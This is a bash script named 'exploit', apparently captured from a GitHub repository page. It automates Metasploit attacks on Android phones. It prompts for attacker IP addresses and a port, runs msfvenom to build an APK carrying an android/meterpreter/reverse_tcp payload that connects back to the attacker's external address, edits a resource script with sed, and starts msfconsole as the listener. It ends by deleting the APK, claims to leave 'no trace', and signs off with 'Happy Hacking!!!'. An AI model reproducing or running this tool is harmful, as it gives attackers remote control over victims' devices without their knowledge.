-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathexploit
More file actions
25 lines (19 loc) · 1.19 KB
/
exploit
File metadata and controls
25 lines (19 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
# Script made by Aaron Vigal. http://www.aaronvigal.com
read -p "Name your APK file: " name
read -p "What is the internal IP Address? " internalip;
read -p "What is the external IP Address? " externalip;
read -p "What is the port number? " port
# Create the APK in /root/Desktop/Metasploit with the specified name
msfvenom -p android/meterpreter/reverse_tcp --platform Android --arch dalvik LHOST=$externalip LPORT=$port R > $name.apk
# Replace the new variables in the custom metasploit script
sed -i '4s/.*/set lhost '$internalip'/' /root/Desktop/Metasploit/Android/android.rb
sed -i '5s/.*/set lport '$port'/' /root/Desktop/Metasploit/Android/android.rb
# Tell them that it's all ready
echo "APK File named $name has been created with IP $ip and port $port!"
echo "Exploiting..."
# Execute the newly updated script (android.rb)
msfconsole -r /root/Desktop/Metasploit/Android/android.rb
# Delete the APK on close and say goodbye
rm /root/Desktop/Metasploit/Android/$name.apk
echo "";echo "The APK has been removed and there is no trace remaining ;)";echo "";echo "From the wise words of Kevin Dickerson...";echo "Get lit.";echo "Get good.";echo "Party hard.";echo "";echo "Happy Hacking!!!";echo ""